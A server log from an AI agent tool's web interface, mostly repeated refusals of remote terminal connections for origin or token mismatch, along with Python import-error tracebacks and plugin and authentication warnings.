origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:10:54,938 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:10:59,638 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:11:03,382 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:11:10,093 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:11:16,350 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:11:22,088 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:11:24,867 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:11:29,325 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:11:36,093 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:11:38,935 ERROR hermes_cli.web_server: GET /api/cron/delivery-targets failed Traceback (most recent call last): File "/usr/local/lib/hermes-agent/hermes_cli/web_server.py", line 10096, in get_cron_delivery_targets _ANTHROPIC_OAUTH_AVAILABLE=*** ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/cron/__init__.py", line 18, in from cron.jobs import ( File "/usr/local/lib/hermes-agent/cron/jobs.py", line 42, in from utils import atomic_replace, atomic_write_text ImportError: cannot import name 'atomic_write_text' from 'utils' (/usr/local/lib/hermes-agent/utils.py) 2026-08-07 15:11:39,934 ERROR hermes_cli.web_server: Failed to list cron jobs for profile default Traceback (most recent call last): File "/usr/local/lib/hermes-agent/hermes_cli/web_server.py", line 9974, in list_cron_jobs File "/usr/local/lib/hermes-agent/hermes_cli/web_server.py", line 9923, in _call_cron_for_profile "cli_command": f"hermes auth add {d.slug}", ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/cron/__init__.py", line 18, in from cron.jobs import ( File "/usr/local/lib/hermes-agent/cron/jobs.py", line 42, in from utils import atomic_replace, atomic_write_text ImportError: cannot import name 'atomic_write_text' from 'utils' (/usr/local/lib/hermes-agent/utils.py) 2026-08-07 15:11:39,945 ERROR hermes_cli.web_server: Failed to list cron jobs for profile bd-mkt Traceback (most recent call last): File "/usr/local/lib/hermes-agent/hermes_cli/web_server.py", line 9974, in list_cron_jobs File "/usr/local/lib/hermes-agent/hermes_cli/web_server.py", line 9923, in _call_cron_for_profile "cli_command": f"hermes auth add {d.slug}", ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/cron/__init__.py", line 18, in from cron.jobs import ( File "/usr/local/lib/hermes-agent/cron/jobs.py", line 42, in from utils import atomic_replace, atomic_write_text ImportError: cannot import name 'atomic_write_text' from 'utils' (/usr/local/lib/hermes-agent/utils.py) 2026-08-07 15:11:39,956 ERROR hermes_cli.web_server: Failed to list cron jobs for profile glv-director Traceback (most recent call last): File "/usr/local/lib/hermes-agent/hermes_cli/web_server.py", line 9974, in list_cron_jobs File "/usr/local/lib/hermes-agent/hermes_cli/web_server.py", line 9923, in _call_cron_for_profile "cli_command": f"hermes auth add {d.slug}", ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/cron/__init__.py", line 18, in from cron.jobs import ( File "/usr/local/lib/hermes-agent/cron/jobs.py", line 42, in from utils import atomic_replace, atomic_write_text ImportError: cannot import name 'atomic_write_text' from 'utils' (/usr/local/lib/hermes-agent/utils.py) 2026-08-07 15:11:39,964 ERROR hermes_cli.web_server: Failed to list cron jobs for profile grill-qa Traceback (most recent call last): File "/usr/local/lib/hermes-agent/hermes_cli/web_server.py", line 9974, in list_cron_jobs File "/usr/local/lib/hermes-agent/hermes_cli/web_server.py", line 9923, in _call_cron_for_profile "cli_command": f"hermes auth add {d.slug}", ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/cron/__init__.py", line 18, in from cron.jobs import ( File "/usr/local/lib/hermes-agent/cron/jobs.py", line 42, in from utils import atomic_replace, atomic_write_text ImportError: cannot import name 'atomic_write_text' from 'utils' (/usr/local/lib/hermes-agent/utils.py) 2026-08-07 15:11:39,971 ERROR hermes_cli.web_server: Failed to list cron jobs for profile it-ai Traceback (most recent call last): File "/usr/local/lib/hermes-agent/hermes_cli/web_server.py", line 9974, in list_cron_jobs File "/usr/local/lib/hermes-agent/hermes_cli/web_server.py", line 9923, in _call_cron_for_profile "cli_command": f"hermes auth add {d.slug}", ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/cron/__init__.py", line 18, in from cron.jobs import ( File "/usr/local/lib/hermes-agent/cron/jobs.py", line 42, in from utils import atomic_replace, atomic_write_text ImportError: cannot import name 'atomic_write_text' from 'utils' (/usr/local/lib/hermes-agent/utils.py) 2026-08-07 15:11:39,978 ERROR hermes_cli.web_server: Failed to list cron jobs for profile r-and-d Traceback (most recent call last): File "/usr/local/lib/hermes-agent/hermes_cli/web_server.py", line 9974, in list_cron_jobs File "/usr/local/lib/hermes-agent/hermes_cli/web_server.py", line 9923, in _call_cron_for_profile "cli_command": f"hermes auth add {d.slug}", ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/cron/__init__.py", line 18, in from cron.jobs import ( File "/usr/local/lib/hermes-agent/cron/jobs.py", line 42, in from utils import atomic_replace, atomic_write_text ImportError: cannot import name 'atomic_write_text' from 'utils' (/usr/local/lib/hermes-agent/utils.py) 2026-08-07 15:11:39,996 ERROR hermes_cli.web_server: Failed to list cron jobs for profile reviewer Traceback (most recent call last): File "/usr/local/lib/hermes-agent/hermes_cli/web_server.py", line 9974, in list_cron_jobs File "/usr/local/lib/hermes-agent/hermes_cli/web_server.py", line 9923, in _call_cron_for_profile "cli_command": f"hermes auth add {d.slug}", ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/cron/__init__.py", line 18, in from cron.jobs import ( File "/usr/local/lib/hermes-agent/cron/jobs.py", line 42, in from utils import atomic_replace, atomic_write_text ImportError: cannot import name 'atomic_write_text' from 'utils' (/usr/local/lib/hermes-agent/utils.py) 2026-08-07 15:11:40,009 ERROR hermes_cli.web_server: Failed to list cron jobs for profile writers Traceback (most recent call last): File "/usr/local/lib/hermes-agent/hermes_cli/web_server.py", line 9974, in list_cron_jobs File "/usr/local/lib/hermes-agent/hermes_cli/web_server.py", line 9923, in _call_cron_for_profile "cli_command": f"hermes auth add {d.slug}", ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/cron/__init__.py", line 18, in from cron.jobs import ( File "/usr/local/lib/hermes-agent/cron/jobs.py", line 42, in from utils import atomic_replace, atomic_write_text ImportError: cannot import name 'atomic_write_text' from 'utils' (/usr/local/lib/hermes-agent/utils.py) 2026-08-07 15:11:40,366 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:11:42,474 ERROR hermes_cli.web_server: GET /api/model/options failed Traceback (most recent call last): File "/usr/local/lib/hermes-agent/hermes_cli/web_server.py", line 5151, in get_model_options cfg["hosts"] = hosts = hosts if isinstance(hosts, dict) else {} ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/hermes_cli/inventory.py", line 171, in build_models_payload - ``probe_custom_providers``: allow saved custom/provider endpoints to ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/hermes_cli/model_switch.py", line 2208, in list_authenticated_providers from hermes_cli.auth import is_runtime_provider_routable ImportError: cannot import name 'is_runtime_provider_routable' from 'hermes_cli.auth' (/usr/local/lib/hermes-agent/hermes_cli/auth.py) 2026-08-07 15:11:42,911 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:11:45,473 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:11:46,080 WARNING plugins.memory: Memory provider 'honcho' loaded but no provider instance found 2026-08-07 15:11:46,118 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-08-07 15:11:50,218 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:11:55,425 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:12:03,334 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:12:08,480 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:12:17,098 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:12:25,867 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:12:34,567 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:12:39,649 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:12:47,981 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:12:55,095 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:13:02,663 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:13:09,639 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:13:12,391 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:13:16,885 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:13:23,722 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:13:29,399 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:13:36,950 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:13:45,473 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:13:51,756 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:13:56,626 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:14:04,420 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:14:10,748 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:14:18,571 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:14:24,155 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:14:30,654 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:14:42,917 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:14:48,075 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:14:51,040 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:15:10,607 WARNING hermes_cli.plugins: Plugin operate/handoff-task: unknown kind 'command' (valid: backend, exclusive, model-provider, platform, standalone); treating as 'standalone' 2026-08-07 15:15:11,612 WARNING hermes_cli.plugins: Failed to load plugin 'ai-os': unexpected indent (handoff.py, line 1) 2026-08-07 15:15:18,691 WARNING hermes_cli.web_server: pty auth rejected reason=token_mismatch mode=loopback cred=token peer=127.0.0.1 2026-08-07 15:15:28,479 WARNING hermes_cli.web_server: pty auth rejected reason=token_mismatch mode=loopback cred=token peer=127.0.0.1 2026-08-07 15:15:34,315 WARNING hermes_cli.web_server: pty auth rejected reason=token_mismatch mode=loopback cred=token peer=127.0.0.1 2026-08-07 15:15:39,357 WARNING agent.model_metadata: Could not determine context length for model 'default' (base_url=default) — falling back to 256,000 tokens. Set model.context_length in config.yaml to override. 2026-08-07 15:15:41,997 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:15:44,919 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:15:50,575 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:15:55,620 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:16:01,079 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:16:07,389 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:16:15,956 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:16:22,253 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:16:27,381 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:16:35,580 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:16:42,674 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:16:49,071 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:16:56,392 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:17:05,006 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:17:13,426 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:17:18,853 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:17:24,738 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:17:29,945 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:17:38,455 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:17:43,530 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:17:51,577 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:18:00,664 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:18:08,462 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:18:14,558 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:18:22,162 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:18:34,778 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:18:36,641 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:18:43,322 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:18:47,677 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:18:54,595 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:19:00,751 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:19:09,464 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:19:15,489 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:19:24,686 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:19:31,081 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:19:38,136 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:19:46,156 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:19:51,032 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:19:56,083 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:20:01,106 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:20:06,683 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:20:14,138 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:20:23,297 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:20:31,572 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:20:37,545 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:20:43,345 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:20:48,475 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:20:53,897 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:21:00,798 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:21:09,131 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:21:17,970 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:21:23,508 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:21:32,366 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:21:38,223 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:21:43,894 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:21:52,895 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:22:01,046 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:22:09,147 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:22:17,122 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:22:24,310 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:22:29,358 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:22:34,364 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:22:41,710 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:22:49,521 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:22:55,859 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:23:05,405 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:23:13,865 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:23:21,092 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:23:29,128 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:23:36,058 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:23:43,572 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:23:52,101 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:24:03,128 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:24:10,094 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:24:12,992 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:24:16,543 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:26:25,320 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:26:27,080 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:26:30,605 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:26:37,267 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:26:38,062 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 